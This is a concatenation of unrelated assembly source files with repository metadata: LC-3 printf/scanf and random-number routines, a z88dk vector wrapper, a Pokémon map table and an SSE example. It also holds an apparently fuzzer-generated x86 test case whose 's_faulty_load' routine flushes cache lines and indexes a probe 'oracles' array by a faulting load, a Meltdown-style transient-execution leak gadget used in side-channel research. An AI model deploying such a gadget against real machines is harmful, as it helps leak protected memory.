MODULUS -- calculate R0 MOD R1 (defined in C as R0 - (R0 / R1) * R1) ; INPUTS -- R0 and R1 ; OUTPUTS -- R0 is the modulus ; SIDE EFFECTS -- uses stack to save registers; may print divide by ; zero error ; NOTE: the calling convention here is NOT for use directly by C ; MODULUS ADD R6,R6,#-3 ; save R0, R1, and R7 STR R0,R6,#0 STR R1,R6,#1 STR R7,R6,#2 JSR DIVIDE ; R0 = R0 / R1 JSR MULTIPLY ; R0 = (R0 / R1) * R1 NOT R1,R0 ; negate it ADD R1,R1,#1 LDR R0,R6,#0 ; add to original R0 ADD R0,R0,R1 LDR R1,R6,#1 ; restore R1 and R7 LDR R7,R6,#2 ADD R6,R6,#3 RET ; SRAND -- set random number generation seed ; INPUTS -- new seed (on top of stack) ; OUTPUTS -- one (meaningless) location left on top of stack ; SIDE EFFECTS -- changes random seed ; NOTE: call as a C function ; SRAND ADD R6,R6,#-1 ; save R0 STR R0,R6,#0 LDR R0,R6,#1 ST R0,RAND_SEED LDR R0,R6,#0 ; restore R0 RET ; LOG_RIGHT_SHIFT -- logically shift R0 right by one bit (MSB <- 0) ; INPUTS -- R0 ; OUTPUTS -- R0 shifted right by a bit ; SIDE EFFECTS -- uses stack to save registers ; NOTE: the calling convention here is NOT for use directly by C ; LOG_RIGHT_SHIFT ADD R6,R6,#-1 ; save R1 STR R1,R6,#0 AND R0,R0,xFFFE ; set low bit to 0 (will become MSB) AND R1,R1,#0 ; loop 15 times... ADD R1,R1,#15 LRSHFT_LOOP ADD R0,R0,#0 ; rotate left (copy high bit to low bit) BRn LOW_BIT_IS_1 ADD R0,R0,R0 BRnzp LRSHFT_NEXT LOW_BIT_IS_1 ADD R0,R0,R0 ADD R0,R0,1 LRSHFT_NEXT ADD R1,R1,#-1 BRp LRSHFT_LOOP LDR R1,R6,#0 ; restore R1 ADD R6,R6,#1 RET ; RAND -- generate random number using the function ; NEW = (27193 * OLD) + 35993 MOD 65536 ; the low bit is right-shifted out before returning, since ; it is not random (the rest are not too bad, at least by ; separation of order 2 in Knuth's methods...) ; INPUTS -- none ; OUTPUTS -- random value left on top of stack (return value) ; SIDE EFFECTS -- changes random seed ; NOTE: call as a C function ; RAND ADD R6,R6,#-3 ; save R0, R1, and R7 STR R0,R6,#0 STR R1,R6,#1 STR R7,R6,#2 LD R0,RAND_SEED ADD R1,R0,R0 ; x 0002 ADD R1,R1,R0 ; x 0003 ADD R1,R1,R1 ; x 0006 ADD R1,R1,R1 ; x 000C ADD R1,R1,R0 ; x 000D ADD R1,R1,R1 ; x 001A ADD R1,R1,R1 ; x 0034 ADD R1,R1,R0 ; x 0035 ADD R1,R1,R1 ; x 006A ADD R1,R1,R1 ; x 00D4 ADD R1,R1,R1 ; x 01A8 ADD R1,R1,R1 ; x 0350 ADD R1,R1,R0 ; x 0351 ADD R1,R1,R1 ; x 06A2 ADD R1,R1,R0 ; x 06A3 ADD R1,R1,R1 ; x 0D46 ADD R1,R1,R0 ; x 0D47 ADD R1,R1,R1 ; x 1A8E ADD R1,R1,R1 ; x 351C ADD R1,R1,R1 ; x 6A38 ADD R0,R1,R0 ; x 6A39 = #27193 LD R1,RAND_ADD ADD R0,R0,R1 ST R0,RAND_SEED JSR LOG_RIGHT_SHIFT ; drop the low bit LDR R7,R6,#2 ; restore R7 STR R0,R6,#2 ; save return value onto stack LDR R0,R6,#0 ; restore R0 and R1 LDR R1,R6,#1 ADD R6,R6,#2 RET ; storage for SRAND and RAND RAND_SEED .BLKW 1 RAND_ADD .FILL #35993 ; PRINT_NUM -- print a number in decimal to the monitor (based on code ; incorporated as TRAP x26 for MP2 in the Spring 2004 ; semester of ECE190) ; INPUTS -- R0 is the number to be printed ; OUTPUTS -- R0 is the number of characters printed ; SIDE EFFECTS -- none ; NOTE: the calling convention here is NOT for use directly by C ; ; The basic strategy is to handle the sign first, then to loop over place ; values starting from 10,000 down to 10. Place values are subtracted ; repeatedly to calculate each digit, then digits are printed, with ; leading zeroes omitted. ; R0 is the current digit (calculated in the inner loop) ; R1 points to table of negative digit place values ; R2 holds current digit's place value, again negative ; R3 is the remaining value after removing the previous digit ; R4 is a temporary ; R5 holds the ASCII value '0' ; R6 is a marker used to avoid leading zeroes PRINT_NUM ST R1,PN_SAVE_R1 ; callee saves registers ST R2,PN_SAVE_R2 ST R3,PN_SAVE_R3 ST R4,PN_SAVE_R4 ST R5,PN_SAVE_R5 ST R6,PN_SAVE_R6 ST R7,PN_SAVE_R7 AND R3,R0,#0 ; initialize number of characters printed ST R3,PN_PRINTED ADD R3,R0,#0 ; move to R3 and check for negative value BRzp PN_NON_NEG LD R0,PN_MINUS ; if negative, print a minus sign OUT LD R0,PN_PRINTED ; add one to printed characters count ADD R0,R0,#1 ST R0,PN_PRINTED NOT R3,R3 ; and replace R0 with its absolute value ADD R3,R3,#1 ; (-32768 will be handled correctly, too) PN_NON_NEG LEA R1,PN_SUB ; initialize pointer to place value table LD R5,PN_ASC_ZERO ; initialize register with ASCII '0' AND R6,R6,#0 ; skip leading zeroes PN_LOOP LDR R2,R1,#0 ; load digit place value from table BRz PN_LAST_DIGIT ; end of table? AND R0,R0,#0 ; start current digit at 0 (count ADDs) PN_DIG_LOOP ; loop to determine digit value ADD R4,R3,R2 ; subtract place value once BRn PN_DIG_DONE ; done? ADD R3,R4,#0 ; no, so copy to remaining value ADD R0,R0,#1 ; and increment digit BRnzp PN_DIG_LOOP PN_DIG_DONE ADD R4,R0,R6 ; do not print leading zeroes BRz PN_NO_PRINT ADD R0,R0,R5 ; print current digit OUT LD R0,PN_PRINTED ; add one to printed characters count ADD R0,R0,#1 ST R0,PN_PRINTED ADD R6,R6,#1 ; always print subsequent digits, even zeroes PN_NO_PRINT ADD R1,R1,#1 ; point to next place value BRnzp PN_LOOP ; loop back for next digit PN_LAST_DIGIT ADD R0,R3,R5 ; always print last digit OUT LD R0,PN_PRINTED ; add one to printed characters count ADD R0,R0,#1 LD R1,PN_SAVE_R1 ; restore original register values LD R2,PN_SAVE_R2 LD R3,PN_SAVE_R3 LD R4,PN_SAVE_R4 LD R5,PN_SAVE_R5 LD R6,PN_SAVE_R6 LD R7,PN_SAVE_R7 RET PN_SAVE_R1 .BLKW 1 ; space for caller's register values PN_SAVE_R2 .BLKW 1 PN_SAVE_R3 .BLKW 1 PN_SAVE_R4 .BLKW 1 PN_SAVE_R5 .BLKW 1 PN_SAVE_R6 .BLKW 1 PN_SAVE_R7 .BLKW 1 PN_PRINTED .BLKW 1 PN_SUB .FILL #-10000 ; table of place values .FILL #-1000 .FILL #-100 .FILL #-10 .FILL #0 PN_ASC_ZERO .FILL x30 ; '0' PN_MINUS .FILL x2D ; '-' ; LOAD_FORMAT -- load a character from a format string (for PRINTF or ; SCANF), translating escape sequences (-1 for %d) ; and advancing the string pointer appropriately ; INPUTS -- R1 is the format string pointer ; OUTPUTS -- R0 is the next character (-1 for %d) ; R1 is advanced either one or two locations ; SIDE EFFECTS -- uses stack to save registers ; NOTE: the calling convention here is NOT for use directly by C ; LOAD_FORMAT ADD R6,R6,#-2 ; save R2 and R3 STR R2,R6,#0 STR R3,R6,#1 LDR R0,R1,#0 LD R2,LDF_TEST_1 ADD R3,R0,R2 BRnp LDF_NOT_PCT LDR R0,R1,#1 ADD R2,R0,R2 BRnp LDF_CHECK_D ADD R1,R1,#1 LDF_BAD_PCT LDR R0,R1,#0 BRnzp LDF_DONE LDF_CHECK_D LD R2,LDF_TEST_2 ADD R0,R0,R2 BRnp LDF_BAD_PCT AND R0,R0,#0 ADD R0,R0,#-1 ADD R1,R1,#1 BRnzp LDF_DONE LDF_NOT_PCT LD R2,LDF_TEST_3 ADD R3,R0,R2 BRnp LDF_DONE LDR R0,R1,#1 ADD R2,R0,R2 BRnp LDF_CHECK_N ADD R1,R1,#1 LDF_BAD_BS LDR R0,R1,#0 BRnzp LDF_DONE LDF_CHECK_N LD R2,LDF_TEST_4 ADD R0,R0,R2 BRnp LDF_BAD_BS AND R0,R0,#0 ADD R0,R0,#10 ADD R1,R1,#1 LDF_DONE ADD R1,R1,#1 ; default string pointer advance LDR R2,R6,#0 ; restore R2 and R3 LDR R3,R6,#1 ADD R6,R6,#2 RET LDF_TEST_1 .FILL xFFDB ; -'%' LDF_TEST_2 .FILL xFF9C ; -'d' LDF_TEST_3 .FILL xFFA4 ; -'\\' LDF_TEST_4 .FILL xFF92 ; -'n' ; PRINTF -- print formatted data ; INPUTS -- format string followed by arguments ; OUTPUTS -- number of characters printed left on top of stack ; (return value) ; SIDE EFFECTS -- uses stack to save registers ; NOTE: call as a C function ; ; R0 holds the character to print ; R1 is the format string pointer ; R2 points to the next argument ; R3 is the number of characters printed so far ; PRINTF ADD R6,R6,#-5 ; save R0, R1, R2, R3, and R7 STR R0,R6,#0 STR R1,R6,#1 STR R2,R6,#2 STR R3,R6,#3 STR R7,R6,#4 LDR R1,R6,#5 ADD R2,R6,#6 AND R3,R3,#0 PR_LOOP JSR LOAD_FORMAT ADD R0,R0,#0 BRz PR_DONE BRp PR_REG LDR R0,R2,#0 ADD R2,R2,#1 JSR PRINT_NUM ADD R3,R3,R0 BRnzp PR_LOOP PR_REG OUT ADD R3,R3,#1 BRnzp PR_LOOP PR_DONE LDR R7,R6,#4 ; restore R7 STR R3,R6,#4 ; save return value LDR R0,R6,#0 ; restore R0, R1, R2, and R3 LDR R1,R6,#1 LDR R2,R6,#2 LDR R3,R6,#3 ADD R6,R6,#4 RET ; BUF_GETC -- read a character from the keyboard, with preference for ; a character previously read but buffered (in INBUF) ; INPUTS -- none ; OUTPUTS -- R4 holds the character ; SIDE EFFECTS -- uses stack to save registers ; NOTE: the calling convention here is NOT for use directly by C ; BUF_GETC ADD R6,R6,#-2 STR R0,R6,#0 STR R7,R6,#1 LD R4,INBUF BRnp BGC_OLD GETC OUT ADD R4,R0,#0 BRnzp BGC_DONE BGC_OLD LD R0,INBUF2 ST R0,INBUF AND R0,R0,#0 ST R0,INBUF BGC_DONE LDR R0,R6,#0 LDR R7,R6,#1 ADD R6,R6,#2 RET ; BUF_UNGETC -- push a character back into the input buffer ; INPUTS -- R4 holds the character ; OUTPUTS -- none ; SIDE EFFECTS -- uses stack to save registers ; NOTE: the calling convention here is NOT for use directly by C ; BUF_UNGETC ADD R6,R6,#-1 STR R0,R6,#0 LD R0,INBUF ST R0,INBUF2 ST R4,INBUF LDR R0,R6,#0 ADD R6,R6,#1 RET ; READ_NUM -- read a decimal number from the keyboard, starting with ; a character previously read but buffered (in INBUF) if necessary; ; skip white space before the first digit; terminate on non-digit ; (after first digit); buffer character that causes termination; ; ignore overflow ; (this code based on readnumsub.asm code from 190 materials) ; INPUTS -- none ; OUTPUTS -- R4 holds the number typed in; R0 holds 1 if number was typed, ; or 0 if not ; SIDE EFFECTS -- uses stack to save registers ; NOTE: the calling convention here is NOT for use directly by C ; ; R0 is used as a temporary register ; R1 holds the current value of the number being input ; R2 holds the additive inverse of ASCII '0' (0xFFD0) ; R3 is used as a temporary register ; R4 holds the value of the last key pressed ; R5 marks whether a digit has been seen (positive), just a negative sign (-), ; or nothing has been seen (0) yet READ_NUM ADD R6,R6,#-5 ; save R1, R2, R3, R5, and R7 STR R1,R6,#0 STR R2,R6,#1 STR R3,R6,#2 STR R5,R6,#3 STR R7,R6,#4 AND R1,R1,#0 ; clear the current value LD R2,RN_NEG_0 ; put the value -x30 in R2 AND R5,R5,#0 ; no digits yet ST R5,RN_NEGATE READ_LOOP JSR BUF_GETC ADD R0,R4,R2 ; subtract x30 from R4 and store in R0 BRn RN_NON_DIG ; smaller than '0' means a non-digit ADD R3,R0,#-10 ; check if > '9' BRzp RN_NON_DIG ; greater than '9' means a non-digit ADD R5,R4,#0 ; a digit has been seen ADD R3,R1,R1 ; sequence of adds multiplies R1 by 10 ADD R3,R3,R3 ADD R1,R1,R3 ADD R1,R1,R1 ADD R1,R1,R0 ; finally, add in new digit BRnzp READ_LOOP ; get another digit RN_NON_DIG ; if we see space, tab, CR, or LF, we consume if no digits have ; been seen; otherwise, we stop and buffer the character AND R0,R0,#0 ADD R5,R5,#0 BRp RN_GOT_NUM BRz RN_NO_DIGITS ; need to put the minus sign back, too JSR BUF_UNGETC LD R4,RN_MINUS BRnzp RN_SAVE_CHAR RN_NO_DIGITS ADD R3,R4,#-9 BRz READ_LOOP ADD R3,R4,#-10 BRz READ_LOOP ADD R3,R4,#-13 BRz READ_LOOP ADD R3,R4,#-16 ADD R3,R3,#-16 BRz READ_LOOP LD R3,RN_NEG_MIN ADD R3,R3,R4 BRnp RN_SAVE_CHAR ADD R5,R5,#-1 ST R5,RN_NEGATE BRnzp READ_LOOP RN_GOT_NUM ADD R0,R0,#1 LD R5,RN_NEGATE BRz RN_SAVE_CHAR NOT R1,R1 ADD R1,R1,#1 RN_SAVE_CHAR JSR BUF_UNGETC ADD R4,R1,#0 ; move R1 into R4 LDR R1,R6,#0 ; restore R1, R2, R3, R5, and R7 LDR R2,R6,#1 LDR R3,R6,#2 LDR R5,R6,#3 LDR R7,R6,#4 ADD R6,R6,#5 RET RN_NEG_0 .FILL xFFD0 ; -'0' RN_NEG_MIN .FILL xFFD3 ; -'-' RN_MINUS .FILL x002D ; '-' RN_NEGATE .BLKW 1 ; SCANF -- scan in formatted data ; INPUTS -- format string followed by arguments ; OUTPUTS -- number of integers converted left on top of stack ; (return value) ; SIDE EFFECTS -- uses stack to save registers ; NOTE: call as a C function ; ; R0 holds the character to be read ; R1 is the format string pointer ; R2 points to the next argument ; R3 is the number of integer conversions so far ; R4 is the character/number actually read from the keyboard ; SCANF ADD R6,R6,#-6 ; save R0, R1, R2, R3, R4, and R7 STR R0,R6,#0 STR R1,R6,#1 STR R2,R6,#2 STR R3,R6,#3 STR R4,R6,#4 STR R7,R6,#5 LDR R1,R6,#6 ADD R2,R6,#7 AND R3,R3,#0 SC_LOOP JSR LOAD_FORMAT ADD R0,R0,#0 BRz SC_DONE BRp SC_REG JSR READ_NUM ADD R0,R0,#0 BRz SC_DONE LDR R0,R2,#0 ADD R2,R2,#1 STR R4,R0,#0 ADD R3,R3,#1 BRnzp SC_LOOP SC_REG JSR BUF_GETC NOT R0,R0 ADD R0,R0,#1 ADD R0,R0,R4 BRz SC_LOOP JSR BUF_UNGETC SC_DONE LDR R7,R6,#5 ; restore R7 STR R3,R6,#5 ; save return value LDR R0,R6,#0 ; restore R0, R1, R2, R3, and R4 LDR R1,R6,#1 LDR R2,R6,#2 LDR R3,R6,#3 LDR R4,R6,#4 ADD R6,R6,#5 RET ; buffered input characters (0 means none) INBUF .FILL x0000 INBUF2 .FILL x0000 ;--------------------------------------------------------------------------- ; global data space allocation ;--------------------------------------------------------------------------- GLOBDATA .BLKW #3 ;--------------------------------------------------------------------------- ; stack allocation ;--------------------------------------------------------------------------- .BLKW #1000 STACK .END
16.099066
79
0.6264
1e35769c71adbb0bab8bd3a34d8d210d0dd2e6f1
397
asm
Assembly
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_init.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_init.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_init.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void *b_vector_init(void *p, size_t capacity, size_t max_size) SECTION code_clib SECTION code_adt_b_vector PUBLIC b_vector_init EXTERN asm_b_vector_init b_vector_init: pop af pop hl pop bc pop de push de push bc push hl push af jp asm_b_vector_init ; SDCC bridge for Classic IF __CLASSIC PUBLIC _b_vector_init defc _b_vector_init = b_vector_init ENDIF
12.806452
64
0.743073
91a306b8f1b2c85bc66b1a817f9b24619950673c
304
asm
Assembly
data/maps/objects/LoreleisRoom.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
data/maps/objects/LoreleisRoom.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
data/maps/objects/LoreleisRoom.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
LoreleisRoom_Object: db $3 ; border block def_warps warp 4, 11, 2, INDIGO_PLATEAU_LOBBY warp 5, 11, 2, INDIGO_PLATEAU_LOBBY warp 4, 0, 0, BRUNOS_ROOM warp 5, 0, 1, BRUNOS_ROOM def_signs def_objects object SPRITE_LORELEI, 5, 2, STAY, DOWN, 1, OPP_LORELEI, 1 def_warps_to LORELEIS_ROOM
19
59
0.730263
15832d26f54d9d1819091ce8aaa0ed2ca99494d2
531
asm
Assembly
Chapter_8/Program 8.5_SSE_scalar/x86_64/Program_8.5_NASM.asm
chen150182055/Assembly
e5e76bea438a3752b59775098205a77aa7087110
[ "MIT" ]
272
2016-12-28T02:24:21.000Z
2022-03-30T21:05:37.000Z
Chapter_8/Program 8.5_SSE_scalar/x86_64/Program_8.5_NASM.asm
chen150182055/Assembly
e5e76bea438a3752b59775098205a77aa7087110
[ "MIT" ]
1
2018-04-17T19:47:52.000Z
2018-04-17T19:47:52.000Z
Chapter_8/Program 8.5_SSE_scalar/x86_64/Program_8.5_NASM.asm
chen150182055/Assembly
e5e76bea438a3752b59775098205a77aa7087110
[ "MIT" ]
62
2017-02-02T14:39:37.000Z
2022-01-04T09:02:07.000Z
; Program 8.5 ; SSE Scalar Operations - NASM (64-bit) ; Copyright (c) 2019 Hall & Slonka section .data align 16 valueA: dd 1.2 pi: dq 3.14159265358979 section .bss result: resd 1 ; space for storing result section .text global _main _main: ; scalar examples movss xmm0, [rel valueA] ; move valueA to XMM0 addss xmm0, [rel valueA] ; add valueA to XMM0 movss [rel result], xmm0 ; store result mov eax, DWORD [rel result] ; move result to EAX movsd xmm0, [rel pi] ; move pi to XMM0 mov rax, 60 xor rdi, rdi syscall
19.666667
51
0.700565
72b4197c378e12e2aef1d6956ef6c070f5aad8c9
9,124
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_857.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_857.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_857.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r14 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x13012, %rsi lea addresses_A_ht+0x15012, %rdi nop nop nop nop nop sub %r9, %r9 mov $34, %rcx rep movsl nop nop nop nop nop inc %r12 lea addresses_D_ht+0x17e52, %rsi lea addresses_WT_ht+0x1cc86, %rdi nop nop nop and $33744, %r13 mov $120, %rcx rep movsb nop inc %rcx lea addresses_A_ht+0x13212, %rsi lea addresses_A_ht+0x9812, %rdi nop nop nop nop nop add %r13, %r13 mov $57, %rcx rep movsw nop nop cmp %r12, %r12 lea addresses_A_ht+0xced2, %r12 clflush (%r12) nop nop nop nop and %r14, %r14 movl $0x61626364, (%r12) nop nop xor %r14, %r14 lea addresses_D_ht+0x12212, %r13 nop nop nop add %rsi, %rsi and $0xffffffffffffffc0, %r13 vmovaps (%r13), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %r14 nop cmp $45240, %rdi lea addresses_WC_ht+0x4992, %rsi lea addresses_normal_ht+0x6bf2, %rdi nop nop and %rbx, %rbx mov $107, %rcx rep movsl nop nop nop nop nop xor %r13, %r13 lea addresses_A_ht+0x5412, %rsi nop nop nop nop add $1688, %rbx movups (%rsi), %xmm3 vpextrq $0, %xmm3, %rcx nop nop nop nop inc %rcx lea addresses_A_ht+0xfb50, %rsi lea addresses_WC_ht+0x2392, %rdi nop nop xor $49352, %r13 mov $21, %rcx rep movsb sub $14709, %rbx lea addresses_UC_ht+0x1269a, %rsi lea addresses_WC_ht+0x10812, %rdi nop xor $52225, %rbx mov $127, %rcx rep movsl nop nop nop nop nop add %r9, %r9 lea addresses_A_ht+0x352, %r9 clflush (%r9) nop and $53193, %rcx vmovups (%r9), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %rdi nop inc %r13 lea addresses_UC_ht+0x914f, %rsi nop nop nop xor $60524, %rcx mov $0x6162636465666768, %r12 movq %r12, %xmm2 vmovups %ymm2, (%rsi) sub $23986, %rdi lea addresses_WT_ht+0x812, %r14 nop nop nop add %rcx, %rcx vmovups (%r14), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %rbx nop and %rbx, %rbx lea addresses_D_ht+0x1102a, %rbx add %r9, %r9 mov $0x6162636465666768, %r13 movq %r13, (%rbx) nop nop nop nop nop sub $1128, %rcx lea addresses_normal_ht+0xf612, %rsi lea addresses_A_ht+0x202a, %rdi clflush (%rdi) nop nop nop nop add $62584, %rbx mov $86, %rcx rep movsq nop nop nop xor %r9, %r9 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r14 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %rbx push %rcx push %rdi push %rsi // Store lea addresses_WC+0x5412, %r15 nop nop nop nop nop add $63655, %rbx mov $0x5152535455565758, %rdi movq %rdi, %xmm0 vmovups %ymm0, (%r15) nop nop nop nop nop add %r15, %r15 // Store lea addresses_WT+0x16490, %rbx nop sub %rcx, %rcx mov $0x5152535455565758, %rdi movq %rdi, (%rbx) nop nop nop nop xor $20822, %rbx // Load lea addresses_UC+0x1ad92, %r15 nop nop nop and %rdi, %rdi movb (%r15), %bl nop dec %r15 // Store lea addresses_D+0x1e012, %rdi clflush (%rdi) nop nop nop sub $30092, %r15 movw $0x5152, (%rdi) nop nop nop nop and $9582, %r14 // Load lea addresses_RW+0x14ec8, %r10 and $56777, %rbx mov (%r10), %cx nop nop nop cmp $62627, %r14 // Faulty Load lea addresses_D+0x2012, %r15 nop nop nop nop nop xor $28177, %r10 mov (%r15), %r14 lea oracles, %r15 and $0xff, %r14 shlq $12, %r14 mov (%r15,%r14,1), %r14 pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_WT_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 9}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 1, 'type': 'addresses_A_ht'}, 'dst': {'same': True, 'congruent': 6, 'type': 'addresses_WC_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 